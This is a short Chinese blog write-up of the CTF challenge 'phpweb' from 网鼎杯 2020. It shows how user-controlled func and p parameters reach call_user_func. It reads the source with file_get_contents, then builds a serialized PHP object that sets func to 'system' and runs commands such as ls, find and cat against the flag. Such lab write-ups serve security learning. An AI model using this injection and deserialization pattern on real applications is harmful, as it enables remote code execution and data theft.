刷题笔记:[网鼎杯 2020 朱雀组]phpweb


前言

以前做的题

题解

猜测使用了call_user_func()

$result = call_user_func($func, $p);
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

读取源码func=file_get_contents&p=index.php

反序列化可行

<?php

class Test
{
    var $p = "/flag.php";
    var $func = "readfile";
}

$a = new Test();
echo serialize($a);

#$a->p = 'ls ../../../';
#$a->p ="find / -name 'flag*'";
$a->p = 'cat /tmp/flagoefiu4r93';
$a->func = 'system';

文章作者: 巡璃
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 巡璃 !
评论
  目录